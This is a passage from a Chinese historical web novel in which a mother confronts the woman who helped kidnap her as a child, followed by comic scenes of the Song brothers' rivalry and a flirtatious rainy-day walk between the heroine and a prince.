他接过食盒,有些好奇:“装的是什么?” 宋锦:“今天不是要招待人吗?里面是我们昨天弄的糕点,还有酒铺的新酒,和我弄的药酒” 齐铮这段时间有些忙,马场那边一堆事,国子监的课业也不能落下,还要查刺客的事,时不时还会被皇上叫进宫 宋锦上一次见他,还是在路上乱窜时候,碰到他出城查探 她打着哈欠,对着兄弟三道:“不过我替你们问了,他说宋将军保家卫国,皇上心中有数,让你们不用太担心” 她本来想昨晚上去的,但是不放心她娘,母女俩就挤了一晚上,两床被子倒是刚好渡过昨夜的秋寒 兄弟三明显没想到她会知道这个,怔愣一下,心思复杂 “岐王,岐王还和你说这个啊” 在都城,齐铮可以说是出了名的油盐不进,守口如瓶,找他打探消息,就跟找石头要真心差不多了 宋锦挑眉:“不能说?” 三人:…… 不然呢? 宋锦恍然大悟:“原来这样啊” 竟然是这么大事吗?这不是马上上朝就要说了吗? 宋锦不懂,但是不妨碍她唇角上扬,眉眼也张扬起来,她得意洋洋:“那你们可得好好感谢人,东西给我好好带过去哈,我回去陪我娘了” …… 今日是忙碌的一天 天色微亮,宋府上下的丫鬟小厮们都动了起来 虽然不赶巧,但老天爷非要下雨,他们自然阻止不了 走廊屋檐的得拖干,花园的杂枝落叶也要捡去 与此同时,春晖园里,小眉小耳布置着待客需要的东西 茶水、果点、香料…… 虽然还是那几样,但是比起乡下,中间花样规格又多了不少 牛铁兰坐在屋檐下,青瓦上雨珠时不时落下,天色阴沉沉的,像是要垮下来一般 这种时间,常人很少出门,尤其是在山里,路间湿滑,虫蛇窜动,很是危险 她抬头看着灰色天空下飞动的雀鸟,低声:“我当年跑的时候就是这种天气” 虽然那会儿是初春,但是气温和现在都差不多 宋锦半蹲在旁边,拉着她娘的手,冰冰凉凉,她拿起一边的手炉放过去捂住,低声:“那肯定很冷” 牛铁兰笑:“其实还好,跑着就还有些热,现在想想,我那会儿身体还挺好的,你这丫头整日上蹿下跳,说不定还是随了我” 现在想想,她都觉得那会儿的自己很厉害,在这种细雨天气,竟然能一个人在林中连着跑了半个月 除了身体不错,就是她知道的草药植物很多,在山里避免了很多 宋锦听着她娘调侃,却笑不出来,她趴在她娘腿上,捏着冰凉的手,说道:“等娘你好了,我陪你回去看看” 牛铁兰笑:“好啊,我们再去找你阿爷阿婆,也不知道房子还在不在,在的话我们又买回来” 宋锦:“肯定在的” …… 母女俩就坐在屋檐下轻声说着,看着小院里秋风乍起,看着枝叶斜飞,看着秋雨骤降 这真不是个出门的好天气 若无正事,寻常人不会出门,更别说像戴家这种家底深厚的人家了 金玉阁是永安城最大的金楼,在各个地方都有分店,日赚斗金都不只是个形容词 所以,即便他们是商户,在永安城也颇有脸面——戴家小姑子嫁入侯门,那人能干,靠自己考上官职,便是庶子,姻亲关系也搭得很好 这些年两家相辅相成,出门在外还是有些脸面 侯巧荷已经很久没有这般暴雨天也要上门的时候了,她掀着车帘,看着雨幕中若隐若现的宋府牌匾,心中很是忐忑 宋府回来的母女俩她之前也听说过,当时还说一声有本事,现在若是女园中人的话 那就更有本事了,就是不知道她此番找她是为了何事 她在女园的时间不长,这些年很少出门,便是出去也多围着帷帽,很是小心 她自认为,不应该被认出才对 但那人既然能察觉到她儿子的问题,又能治好,还特意提到她 侯巧荷知道自己暴露了,她甚至没有丝毫的反抗能力 这可是宋府啊 便是现在当家人生死不明,他们也不是一般公侯惹得起的 惴惴不安之间,一件雨披披到她身上 戴元华低声抱怨:“娘,别淋雨,小心风寒,你要是病了,大哥又得抽我了” 身后戴元弘凉凉:“你就说你该不该抽吧?你会进去给我好好磕头认错,正事一件不错,祸害一样不少” 戴元华怂:“我哪里想到啊” 侯巧荷看着兄弟俩,紧了紧身上蓑衣,难得宽慰不了他们 她膝下就这么两个儿子,老大踏实能干,自小就展露经商天赋,被她视作希望,母子俩谨小慎微,一路从不起眼的小妾庶子,到现在的主母和接班人 戴元华出生那会儿他们母子已经立下了脚跟,他长得粉雕玉琢,嘴巴又甜,再加上身体问题 他自小就被宠着长大,干啥啥不行,玩耍第一名 以往有戴元宏这个当哥哥的顶着也无所谓,现在的话 侯巧荷扯着嘴皮:“圆圆,听你大哥的” 戴元华蔫了:“知道了,娘” 侯巧荷这才放心几分,他们坐在马车里,等到宋家人传达确认了身份,再在他们带领下从后面绕进去,踏上这在都城一贯神秘的宋府 若说金玉阁日赚斗金,那么宋清之手下的商行绝对不知道翻了多少倍 那真是一个奇人 短短几年间筹集建立商行,又一点点扩大,到现在甚至直接垄断了漠北的商户,那些皮毛珠宝、果蔬干货、异域货品,以一种极为可怕的速度收敛着财富 戴元宏和宋清之接触过,能看出到他小小年纪下的野心,也更能感受到他的幸运 一家上下齐心,兄弟互帮互助 不似他们戴府,几家分立,为了几分家业阴招尽使,根本不在意长远发展,唯一能信任的小弟 戴元宏侧头,看着瞪大眼睛乡巴佬一般看着庭院的戴元华,摇了摇头 算了,不说也罢 一家三口跟随着守卫后面,越过长长的走廊,来到了春晖院 小眉在院门口收着,她含笑:“夫人和郡主在里面 候着,外面雨大,两位公子不如去别院休息一下?” 戴元宏和戴元华迟疑 侯巧荷压下担心,捏了捏手,说道:“没事,你们去一边等着吧,我心里有数” 兄弟俩还是有些不放心,但是里面都是女眷,他们过去确实不合适,更别说他们也没有讨价还价的余地 两人只能带着忧虑跟着护卫去另一边 而侯巧荷,则是跟着小眉往前 雨越下越大,隔着雨幕她什么也看不清,只能听着雨滴落在油纸伞上哒哒哒的声音,带着她的心也跟着跳动 随着前面院子越来越近,她的心跳声也越来越响,一直到走到了屋檐下 屋外暴雨连绵,屋内干干净净 延伸出去的檐瓦隔开了外面的雨幕,像是两个分界线 侯巧荷看着坐在前面木椅上,轻巧喝着热茶的人,脸色唰一下白了下去,往日的种种瞬间浮上心间,她再没有半分侥幸 伴随着雷鸣电闪,她白着脸踉跄几步,砰一声重重跪下,然后重重磕下脑袋 “姑娘,求姑娘饶命” 第82章 时也命也 “真是好久不见啊” “有,二十五年了吧?” …… 暴雨噼里啪啦打在屋顶上,屋檐下,牛铁兰随意地坐在木椅上,她一袭素白布衣,头发轻轻束着,脸上不施任何粉黛,却也难掩绝色的容貌 美丽的姑娘分两种,一种从小美到大,一种后天张开了,渐渐漂亮起来 牛铁兰便是第一种 见过她的人无一不夸她是美人胚子,小时候出门买东西,也总会拿到比别人更多的份量 她站在杂乱人群中,也让人能一眼认,轻易找到。若是就在家平平安安长大,她定然也是一女长大百家求 但是没有 牛铁兰还记得那会儿自己在买糖人,也就那么一眨眼的功夫,等她再次醒来就是在小屋子里 那时她不过七岁,小小一枚,爬过窗子跑走,跌跌撞撞一路找回去,只看到府里被抬出的尸首 她又被抓了回去 那时候负责带她的,就是面前这人 牛铁兰静静地看着暴雨下走过来的人 侯巧荷穿在雨中,身上披着价值不菲的雨披,手持江南大师制作的雨伞,身上随意一样,送出去都够普通人半年营生 却又无一不显低调 她身边没有跟着丫鬟,她持着雨伞,艰难拎着被雨水打湿的裙摆,层层叠叠,又顾不上宽大的衣袖,难免有些狼狈 牛铁兰捏着手炉,一只手端着热茶,她静静地在哪里喝着,仿若屋外的狂风暴雨和她没有丝毫关系,静谧得自成一派 和当初那个啃咬耍泼一刻安静不下来的小女孩判若两人,却又让人一眼认出 侯巧荷只和她相处了两个月时间,但还是一眼便认出了她,认出面前这个宋府夫人,是那个当年被她亲手带回,又吃了苦头的小孩 而旁边的少女,和她曾经见过的宋首辅一模一样,定然便是那今日闹得沸沸扬扬,得罪英国公府、晋王,却反而得了郡主之位的明光郡主了 没有什么比那张脸更有力的证据了,也没有人比侯巧荷更清楚她曾经的罪孽了 侯巧荷一颗心狠狠沉了下去,膝盖一软,惊恐地跪地磕头,跪爬着超前 “姑娘饶命,求姑娘饶命……” 这反应,出乎所有人的意料,便是宋锦也震了一惊 她知道这人定是她娘旧相识,可能关系也不是很好,但她娘表现的太过淡定了 她就以为或许也不是很重要,但是可以试试从这里找到蛛丝马迹,查到后面的人 现在看来可太重要了,就这表现,没点仇没点怨都说不过去 宋锦眼中戾气一闪,下一秒就杀气腾腾地起身 牛铁兰拉住她:“别闹” 宋锦:“我没闹,我最会审人了,娘你交给我吧” 牛铁兰眼中无奈闪过,她轻轻捏捏手:“再闹就出去” 宋锦杀气腾腾地看着惊惧求饶的侯巧荷,不情不愿的收回目光,又重新蹲回了小板凳上,攥着她娘的手,斩钉截铁 “娘,我一定会给你报仇的” 牛铁兰神色柔和下去,轻轻抚了抚她的侧脸,就着这般转回去看着已经跪爬到一米距离的侯巧荷 她雨披上有水,裙摆衣袖也被打湿,这么跪在地上,很快就染上了泥泞,随着她噔噔噔的磕头声,越□□费 和当年明艳贵重的人截然不同 她这般模样,不是她知道错了,也不是她愧疚后悔,只是因为她怕死怕牵连孩子罢了 涉及前朝谋论,又有宋家当背,一切的一切够她和她的孩子死几百次了 侯巧荷是个聪明人 牛铁兰坐在那儿,冷眼看着她求饶,小口啜着茶水,直到杯中茶水饮完,她轻轻放下茶杯 “你这些年,看上去过得不错” 侯巧荷抬起头,额头上已渗出血意,头发散乱,她惨白着脸,苦笑:“姑娘说笑,若真过得不错,奴这些年也不至于遮遮掩掩,像阴沟臭鼠一般,不敢现身人前” 牛铁兰淡淡:“你对你倒是了解” 侯巧荷苦笑着擦擦掉落的血丝:“奴知道说再多都难掩姑娘心中之气,但是奴也得说一句,曾经的奴就一沟里老鼠,谁都能踩上一脚,实在是身不由己” 牛铁兰:“一句身不由己,就能掩饰作恶多端?” 侯巧荷苦涩,又重重磕了两个头:“姑娘说的奴都认,但是奴的两个儿子什么都不知道,他们是无辜的” 牛铁兰:“无辜?当年的我不无辜,我爹不无辜,女园众多女子不无辜?” 侯巧荷说不出话,只是又重重磕了两个头,艰难说道:“时也命也” 前朝纷乱,乱世之中身不由己,她们没有赶上好时候 都是命 牛铁兰扔下手中茶杯,啪一声瓷片碎了一地,又掩在雨声中 她站了起来,走到侯巧荷身前,居高临下地看着她,杏眸格外冰冷 “命?那你认命了?” 侯巧荷趴在地上没说话 她若是认了命,就不会出现在这里,就不会成为戴府主母了 牛铁兰:“抬头” 侯巧荷狼狈地抬起头,脸上血丝道道,唇瓣也被咬破,血和泥水混迹,斑驳下也藏不住她的艳色 女园的每一个女子都是精挑细选出来的,各个千娇百媚,肤白赛雪 侯巧荷也不例外,只不过,她其实不算女园之人,她在其中并没有待两月只是简单训了一下那些被抓回来的人,就被送往不知名的地方 这天下偌大,牛铁兰也以为不会再见到这人,现在见到了,她那心中藏了二十五年的疑惑,也总算可以问出来了 她道:“如果那日我不出来买糖葫芦,是不是就无事了?” 侯巧荷一愣 她其实已经不记得当时抓人是什么场景了,但是她能确定:“不,他们过去那边就是因为你” 西县有美人,被进献贵人,贵人喜大赏。下面的人又知,美人还有女子,便动了心思 牛铁兰闭眼,眼底无悲无喜,这些她早已经有所猜测,此刻总算得了证实 她恶心极了:“前朝荒帝昏庸,无恶不作,但他们这般,又与他有何区别?” 便是推翻了前朝,也不过是另一个前朝罢了 侯巧荷苦笑:“商户目短,幸而未成事” 说话间,她就着手上的雨血,在地上画下三笔,然后磕头 “奴自知罪该万死,但是两个孩儿无辜,望姑娘莫牵连于他们,姑娘想知道什么,奴知无不言言无不尽” 牛铁兰居高临下地看着她,垂着眼,突然换了个话题:“我问你,宋首辅出事,可与你有关?” 侯巧荷猛得抬头,瞳孔瞬间放大,手足无措,震惊:“怎么可能?奴,奴哪有那般能力?奴这些年从不敢露面,怎么可能,怎么可能……” 她的紧张害怕也不带假 牛铁兰问得突然,就是看她的反应 既然不是,牛铁兰垂了垂眸,又坐回椅子上,轻声:“小眉给侯夫人上座” 小眉压下心中惊诧,应声:“是” 侯巧荷小心爬起,踉踉跄跄,有些哆嗦地坐回位置上:“姑娘,这事我真的不知道,我那年从女园出去,被送往一人家,备受折磨,后面男人死了,我出逃遇上现在的夫君,才得了一隅生存之地” 只不过男人薄幸,度过了最开始的甜蜜时期,他终究暴露了本性。她只能带着自家孩子一点点争,一点点斗,才得了现在的位置 侯巧荷:“我这些年没有再碰上过那些人,我以为,以为,已经散了” 便是这般,她这些年也少有出门,不敢让外人见到自己的面容,就怕被认出来 对于她的说辞,牛铁兰嗤笑一声:“散了?多少人的家倒是散了,你可还记得我家在哪儿?” 侯巧荷深呼吸:“只记,记得,鸣双府,西县,具体的实在太久了” 有这个已经足够了,牛铁兰对家中还有些印象,到时候过去再打探一下便能知道了 但便是找回去,家中也再无亲人了 想到这,牛铁兰黯了神色,一双滚烫的手握住了她 宋锦轻声:“到时候我陪娘你回去见阿爷” 牛铁兰扯扯嘴角,低低应了一声,没什么说的心情了 宋锦拍拍她的手,再看向对面的侯巧荷,神色冷厉 “你们抓人就算了,为何还要灭门?” “因为姑娘的父亲,太执着了,他又是报官又是发动人找,找到了些线索,他们怕他闹太大了影响,就” 侯巧荷苦笑:“姑娘见到了?我在想,我当时若是不放姑娘出去,你应该也见不到那一幕” 宋锦有些惊异 倒是牛铁兰并不意外,他们废了那么大力抓了她,若真那么简单就能让她跑走,也不能成那么多事了 她道:“那些人是谁?” 侯巧荷摇头:“太久远了,奴实在记不得了,只记得那领头的姓吴,是个江湖人士,曾胸口上有被捅穿的剑印” 至于她是如何知道的,不言而喻 乱世女儿如草贱,便是盛世,重重下来,过的不如意的还是女儿家 牛铁兰又饮下一杯茶水,杯子重重放在茶几上,她看着狼狈瑟缩的侯巧荷,闭上了眸 “你走吧” 侯巧荷猛地抬头:“您,您” 牛铁兰淡淡:“你我之事就这般了断,但若有他人寻你,也是你罪有应得。” 侯巧荷眼眶流下热泪,又从椅子上下去,磕在地上:“谢,谢姑娘大度,谢,谢姑娘大恩,谢姑娘……” 牛铁兰没再多看:“小眉,去屋里拿个帷帽,送侯夫人回去吧” 小眉应声,去屋内取了帷帽出来,这才扶起侯巧荷,替她整理了一下面容,送她出去 外面暴雨依旧,寒凉的雨水打在身上,让人汗毛都跟着立起 跪地磕头太用力,侯巧荷走路都一瘸一拐,伤口在寒风下传来阵阵刺痛,但是她却格外安宁 只要宋家不计较 只要她们不计较 “对了,你最近最好小心点,女园的人,已经盯上你和你儿子了” 牛铁兰的声音再次轻飘飘传来 侯巧荷瞳孔放大,牙齿颤抖,惊惧之意无法掩饰 牛铁兰淡淡:“你小儿子暂且无事,大儿子,你最好问问。这有些路,踏错一步,就回不了头了” …… 侯巧荷恍恍惚惚离开了院子,见到自己两个高大的儿子,一路平静地回到马车 她掀开帘子,额头上的伤印格外明显 戴元宏和戴元华立马变了脸:“娘” 侯巧荷没有说话,她只是紧紧攥住戴元宏的胳膊,牙齿咯咯作响:“你告诉娘,是不是有人找了你?是不是?” 戴元宏错愕,又很快沉默了下去 侯巧荷天塌了一般,拉着他:“他们让你做什么了?他们对你做了什么?你说,你快说啊” 戴元宏只是沉默 戴元华看看他娘,又看看大哥,他下意识地摸向了后脖,后面簪子般大小的疤痕很是明显 生下来十来年无忧无虑的人生在这一刻也染上了阴翳 他小心拉着侯巧荷:“娘,娘你冷静点,小心头,你头怎么伤的?还有大哥,你也说话啊” 无人理会他 母子俩对峙好一会儿,一向沉稳的戴元宏低下了头,声音带着沙哑:“娘,我,我不是故意的,我不知道” 侯巧荷的心沉了下去 …… 宋府 宋锦靠在柱子上,伸出手接着外面的雨水,滴答滴答地落在手心,还有些微疼 她仰头:“好像下冰雹了” 牛铁兰从思绪中回过神来,拿起手中的杯子扔了过去,没好气道:“着凉很舒服是吧?给我过来坐好” 宋锦没动,手上转着茶杯,一本正经道:“娘,要不要我去弄死她” 牛铁兰深呼吸,给自己又倒了杯茶入肚,再深呼吸,还是压不下气又拿起杯子砸过去,怒道:“你是嫌我命太长,非要气死我是不是?” 宋锦闭上嘴,手上拿着两个杯子,像是杂戏一般挨个转着 屋檐外的雨珠溅了进来,打湿她大半衣服 牛铁兰瞪眼:“没地方坐了是吧?滚过来” 宋锦鼓鼓嘴,哦了一下,慢吞吞走过来 牛铁兰摸了摸,随后就一巴掌拍过去,怒道:“滚回去把衣服换了,你以为你是铁打的?” 宋锦还真觉得自己和铁差不多,真说起来,她连铁都能打断呢。但是再是钢铁,还是得听娘的话 她撇了撇嘴,不情不愿地回去房间换衣服,等到再出来的时候,外面已经没了牛铁兰的身影 小眉笑吟吟站在外面:“夫人说她累了要休息一下,让你自己玩你的,但是不要玩水淋雨” 宋锦也不太意外,撇了撇嘴:“那还有什么好玩的?” 小眉笑:“不如我和小耳陪您下棋?” 宋锦摆手:“算了,你们自己休息去吧,少去淋雨,我看书去” 她这段时间弄这弄那的,还真没什么空看书,上次在县里时候,舒程浩给她的书还没怎么看呢 宋锦转身回卧室,在里面的书架上翻了翻,就从里面找到了自己经常看的游记 游记普普通通,写的是主角仗剑游历天涯的故事 但是作者明显没什么文化,文笔普普通通,一个个本该跌宕起伏的故事,写得如嚼干蜡,平淡如水 宋锦还挺喜欢看的,她按着目录翻了翻,找了个秋雨的故事 故事很简单,主角赶路,突逢暴雨,他找了个山洞,没想到正好遇上黑熊,一番打斗之下,他拥有了过冬的皮衣 再然后他继续赶路,又逢雷雨,他找了树躲雨,一道闪雷袭来 他继续赶路,遇到雨中摔倒之人,上前相助反被打劫…… 总觉得有点熟悉 宋锦怀着这种疑虑,又跑回去架子上把相关的书全部拿了出来,铺在小榻上一本本翻找起来 这一翻就忘了时间,直到房门被敲响 宋锦一把合上手中书本,凤眸明亮,里面兴奋闪过,就跟那偷吃蜂蜜成功的山熊似的 她翻下小榻,趿拉着鞋子朝外,开门,门口依旧是小眉 宋锦:“怎么了?” 小眉笑:“几位公子下朝了” 宋锦:“他们下朝他们的,怎么,难不成又被抓牢里了?” 小眉无奈:“哪儿能啊,听说大公子和三公子都升官了,是大好事” 宋锦挑眉:“这样啊,我娘怎么说?她醒了没?心情好点了吗?” 小眉轻声:“夫人还在睡着,我就没叫她。二公子派人来说了,岐王殿下也来了,我想着小姐还是去见见为好” 宋锦立马换了个态度抱怨:“怎么不早说啊” 说着,她哒哒哒跑回去重新抱上书本,随意穿上外衣,系上腰带,抬起脚穿鞋,简单收拾好,她拿起屋外的油纸伞,风风火火闯入大雨中 第83章 雨夜,佳人 在宋家有段时间了,宋锦把里面的情况摸得清清楚楚 这般大雨,又是王爷,那必须是正院客厅 宋锦大步跑了过来,果然看到屋外守着的侍卫门从,一个个长剑内甲,便是守门也严阵以待,没人走 神 她踩着雨水过来,侍卫们瞬间警惕起来,手按长剑 这阵仗,比起前段时间大了不少,都城现在不太安宁,便是齐铮武艺高强,齐晔也强硬地加了守卫过来 李青山依旧是领头的,他看着前面雨中大跑的身影,嘴角微微一抽 不得不说,这人回都城这么段时间了,依旧没有受到半分都城水深的毒打啊 被毒打过万千次的李青山在心里叹了口气,压住其中的羡慕,提醒其他人下放下刀剑 据他这段时日的观察,面对这位小祖宗,他们最好还是敬着点吧,免得日后被穿小鞋,不对,应该是当场就被踹两脚 作为齐铮的侍卫,李青山一日日越发向他靠近,天天顶着个木头脸,宋锦自然看不出他的腹诽 不过看出也无所谓,她也是在心里吐槽人,甚至面上也是毫不掩饰的嫌弃呢 她大步上前,瞥着面前严阵以待地侍卫们,直接撇了撇嘴,一句话不说,但是嫌弃和挑衅之意溢于言表 好像在说:就这? 侍卫们:…… 宋锦把雨伞放在一边,又冲他们扬了扬手,踮起脚尖,一个嚣张地直接越过宽大的门庭,飞身进了屋子 完全不给他们通报的机会 厅里正说着话的几人只听咚的一声,屋内落石一般多了个人影,宋锦潇洒落地,那打湿的裙摆随着大开大合的动作溅在屋内,没人幸免 她毫不在意,逆着光,抱着手,高抬起下巴,眉眼上挑,将得意洋洋的小人之态展示得淋漓尽致 一看就是抓到谁把柄了 一屋子的人眼皮都跟着跳动起来,反思自己今日有没有什么马脚漏出来 相比之下,大哥还得是大哥 宋行之率先反应过来,起身朝着齐铮拱手:“小妹无矩,望殿下莫怪” 齐铮伸手抚去脸上水滴,淡定道:“无事,习惯了” 他半夜寝屋都能闯,这么个小小的客厅,算得了什么?更别说,他本就是 因她而来的 面对他的回答,宋行之嘴角一抽,不着痕迹地打量着齐铮的脸,想看看他究竟是个什么想法 但看不出来 齐铮这个岐王,自从进了都城便一直是这副冷脸的模样,最开始时候还有人怀疑他是装的,后面一番打探下来 他还真是从小冷到大 而冷面就是最好的掩饰,他的心思无人看出 若说他对那位置有想法,这段时间他又比谁都看得开,别说什么结党营私了,大家平日无事都找不到他 但若说他无意,真有人会对那个位置无意? 在宋行之的揣测中,宋锦大摇大摆往里走着 她衣服本就是随意穿着的,有些皱皱巴巴,头发就更别说了,一看就是在踏上滚过的,散了大半 莫说都城贵女了,就是寻常人家小姑娘,也不至于此 宋行之看着就觉得头疼 这丫头在乡下是野丫头就算了,到了都城,陛下给了那么多礼官,怎么还没看出什么效果啊 他叹气:“出来见客,衣服怎么不好好穿?” 宋锦挑眉:“怎么,我是没穿衣服,还是没穿鞋子?” 宋行之:“你看你的头发,散乱无形,衣服料子皱起,鞋子上全是泥,走在路上不知道的就跟乡” 野丫头三个字没说完,宋顺之拿起桌面的梨堵住他的嘴,然后看向宋锦,正经说道:“一家人不讲究这些,岐王大度更不会在意这些,小妹开心就好” 宋锦给了他个赞赏的目光:“二哥说得是,家里就属你最有个哥哥样” 瞬间 宋行之、宋慎之、宋安之和宋顺之脸色大变,说得上是目眦俱裂 喊谁 她喊谁哥哥 她喊谁! 宋锦回宋府这段时日,要么是直接喊名字,要么是直接喊喂、那个,现在突然改口喊哥哥 凭什么是喊他? 所有人瞪向怔住的宋顺之,眼神恨不得化作刀光,把他暗杀了,再重来一遍 面对兄弟们的嫉恨,宋顺之嘴角一点点扬起,平日最不爱笑的人,这会儿笑得跟花儿似的 他点着,非常赞同道:“小妹说得是,二哥一定继续保持,努力提升” 宋锦大为赞赏,她就喜欢这种坦诚有‘上进心’的人,走过去拍拍他的肩膀,鼓励道:“我信二哥” 说着,她就直接在旁边坐下,手往扶手那里一落,左腿往右一搭,轻轻晃腿,一副大老爷的模样 宋行之眉头又跳起,想说什么,手上又落下一颗梨 齐铮颔首:“少府监喜欢吃梨,便多吃点” 宋行之看着另一只手上好不容易吃完的梨核,假笑:“谢岐王关怀” 好气啊,谁说他喜欢吃这玩意儿的? 倒是宋锦眨了眨眼,又探出脑袋,惊奇:“哎,你不是侍郎嘛?” 宋行之下意识想扬扬扇,但是手上只有梨,他放下梨,拿出手绢擦着手上水渍,慢条斯理开口 “之前是,现在是从三品的少府监” 宋锦哇了一下,又快速质疑:“那你都不外派?这不就是靠着你爹一路上位吗?” 她可真敢说啊 宋行之笑容一僵,没好气:“谁说我没有外派的?我当过县令,知府,当的两年当地都有新的发展,税赋显著提升” 不然他哪儿可能当上侍郎? 当然,他不否认这些少不了他爹的支持指导,但是 宋行之自傲:“我可是都城出了名的少年天才” 宋锦好奇:“你今年二十六吧?就算去掉六年任期,也才二十,你几岁考上的进士?” 宋行之轻描淡写:“十四岁中的探花” 宋锦这下是真的哇了,要知道科考连着最少也得花两年,意思是他十三岁就参加科考 她鼓掌:“厉害厉害,不过就这么厉害还是被人甩了,你更要反思自己了” 宋行之:…… 他还是吃梨吧 有了他升职的事,宋锦也想起另一个人了 巧了,她旁边就是另一个升官的宋慎之 她惊奇地凑了过去:“哎,你脸好了?” 要知道出门那会儿,宋慎之的脸还可以说是猪肉脸,又肿又红还起着密密麻麻的大疙瘩,现在就只是轻微红肿 虽然没了之前的俊朗,看起来有些可笑,但是比起之前还是好上不少 都说人逢喜事精神爽,现在看来是真的啊 宋锦好奇地伸出手,想戳一戳那肿成水泡的眼皮 宋慎之毫不迟疑,不带一丝犹豫地,直接起身换了个位置,和她保持一定距离,然后严肃回道 “虽是兄妹,但男女授受不亲,小妹你还是注意着点” 宋锦:??? 这人在说什么疯话? 不说宋锦了,就是其他人也见鬼似的看着宋慎之 要知道这人前两天每次一见宋锦就跟开屏的孔雀似的,恨不得把自己这些年的财富、武力全都展示完全,每日都要例行求婚 现在就男女授受不亲了? 宋顺之立马皱眉:“老三,你就是当上辅国大将军了,封了永安侯也还是家里的老三” 别想摆谱 他们兄弟五个都是爹养大的,别说只是二品大将军,一个侯爵,就是一品大将军,就是国公,也不能嫌弃小妹啊 宋顺之谴责地看着宋慎之,宋安之和宋清之也同样如此,一个个虎视眈眈地看着他 他那张红肿的脸,上面就刻着忘恩负义四个字 简直是家门不幸啊 兄弟伙三个痛心疾首 宋顺之静静:“你们的将士们可还没有彻底脱去嫌疑” 宋安之冷笑:“你们下一批武器,呵,你个领头的将军既然有这般闲心,想来边境安宁也不急需” 宋清之假笑:“我看也不缺饷银粮草了” 在兄弟三的围攻下,宋慎之哑口无言,只是伸手摸了摸红肿的脸,嘶了一声,转移话题 “梁家的事结果出了,小妹定然有兴趣,老大你快说说吧” 宋锦没被糊弄,她瞅着宋慎之奇怪的反应,眼中闪过狐疑,盯得人都僵住了,生怕她一反常态今日同意他之前的胡话 那他就不用活了 宋锦挪开目光,转头看向宋行之,她抚着下巴,若有所思:“你们俩关系倒是好,是因为你俩职位比其他人高,他们和你们高度不一样,说不到一起?” 刚才还替宋慎之捏着冷汗的宋行之现在恨不得让他滚回边疆,干脆毒死算了 他皮笑肉不笑:“都说秀才遇上兵,有理说不清,我们文人和武将可说不到一起,不知小妹从哪里看出我俩关系好的” 宋锦继续抚着下巴:“原来是这样啊,那你和他们四个哪个关系最好?平时最烦谁?” 宋行之:“……作为哥哥,自当一视同仁” 宋锦恍然:“所以是都看不顺眼?” 兄弟五个:…… 她过来就是来找茬的是吧? 谁又惹 着这位小祖宗了啊 眼看着再说下去,本来泥糊的兄弟情要成泥浆被雨水冲唰 最是稳重的宋顺之开口:“说起来岐王还是第一次拜访,不如小妹带岐王去外面转一圈?” 其他四人往外看去,外面大雨瓢泼,人站出去不一会儿功夫就得成落汤鸡 就这天气,逛府? 宋锦歪了歪脑袋,看向一旁端坐的齐铮,挑起眉头 “那就得看,岐王殿下赏不赏脸了” 齐铮回头脸,颔首,起身:“那边麻烦郡主了” 那出去玩可比在这儿好多了 宋锦立马起身,拍拍手,拿起桌上的大苹果蹦蹦跳跳朝外走去 “走吧,那我带你逛一逛,对了雨伞没啥用,我们穿蓑衣去,你应该穿得习惯吧?” 齐铮:“自然,我来时带了” 宋锦:“那走吧” …… 两个人说着便并肩出去,那背影怎么看怎么有种迫不及待 宋行之等人面无表情地看向宋顺之,眼中杀意猛升 宋顺之轻声:“小妹” 宋锦转头,那张像极了宋商的脸笑容璀然,声音清脆:“哎,二哥怎么了?” 兄弟四人:…… 宋顺之轻轻瞥了瞥其他人兄弟,在他们憋屈的脸色中,轻笑:“没什么,就是注意防雨,小心风寒” 宋锦眉眼弯弯:“放心放心” 说着她穿好蓑衣,走入雨中 齐铮也穿好了,那些侍卫还想阻拦一番,他不似以往好生解释,一个冷眼看去,也踏入雨中 不过大雨倾盆,他们俩也没那么喜欢淋雨,走出这边小院,就沿着廊道前行 蒙蒙的雨雾被挡在外面,时不时溅进来一些,但是无伤大雅了 宋锦坐在一边,取下了脑袋上的斗笠,揶揄:“岐王殿下可真威风” 齐铮解释:“他们是父皇派下来的,遵他的旨意,虽然尽职,但多少有些烦人” 几次下来,他发现他好生说没用这些人只会一句陛下有旨,但是他强硬一些,他们也没办法 宋锦挑眉:“不错嘛,越来越有气势了,就是要这样,你脾气太好了就是容易被欺负” 她是真心实意觉得齐铮脾气好接地气 齐铮摇头:“我都是王爷了,还有谁能欺负?” 宋锦啧啧,那可说不准啊 齐铮侧头看着她有些乱糟糟湿漉漉的头发,轻轻抚去上面的草渣子,问:“怎么,谁惹你了?” 她这人心情一不好就喜欢挑气惹事,当然,心情好的时候依旧 虽然她看起来和平日没什么区别,但齐铮还是从她细微的表情中看出不同 他轻轻扬了扬袖子,里面掉出一朵两人巴掌大的白花,因为被压了有些皱巴巴的,但看得出很美丽 宋锦侧头,凤眸亮了几分:“给我的?” 齐铮颔首:“路过御花园摘的,这花叫雨花,只在暴雨时候开花,不开花时宛如蹴鞠,开花了在雨中宛如明珠,味道非常甜美” 到手就已经摘了两片花瓣的宋锦手一缩,有些许的心虚,又有些心疼,捏起一片花瓣就往嘴里 瞬间,她脸皱了起来 “呸呸呸呸” 苦死个人啊 齐铮眼中闪过笑意,道:“我骗你的” 宋锦瞪着眼,咬着牙,揪了一片花瓣,一只手拿着出其不意地往他嘴里一塞,另一只手按着他的脖子,防止他逃跑 齐铮却没有动作,任由花片入嘴,轻轻嚼着,脸色没有半分变化,漆黑的眸子就这么盯着她 宋锦本来还想看他笑话的,见此也失了兴趣,鼓了鼓嘴,伸手在他肩膀上擦了擦沾到的口水,嘀咕 “冰块脸,苦死你得了” 齐铮垂眸:“良药苦口,这花清火平气” 宋锦嘴角一抽:“那可不,苦得六根清净” 齐铮眼角含笑:“气消了些吗?” 宋锦撇了撇嘴,慢吞吞地走在木廊里,脚有一下没一下地踢着,但是用处不大 她又摘了一片花瓣往嘴里塞,一会儿闭眼一会儿吸气,苦了两回,感觉是要好些了 她幽幽:“你说,若是有人害了你,但她又有苦衷,你会如何?” 齐铮:“要看何事何时,又有什么后果,那人又占了几分因果” 宋锦皱脸:“想这么多?她动了手害了人,直接随心意还回去不就好?” 齐铮停下步子,垂眸看着她,伸手轻轻点了点她的额头 “人与人本就不同,你觉得痛快,有的人觉得过火,又有人会畏惧,千人千面,你想随的是自己的心还是别人的心?” 宋锦瞪:“别动手动脚,男女授受不亲懂不懂?一天天就知道大道理” 齐铮轻瞥,然后把她手中剩半边的花拿了回来,一本正经:“男女授受不亲,这也算是私相授受” “……” 宋锦一把抢回花,摘了花瓣往他脸上砸:“烦死了,你好烦” 齐铮由着她碎碎念念砸花瓣,直到一朵花又剩下个花骨朵了,他伸出手,骨节分明的手指间夹着一片花瓣,贴上她的头顶 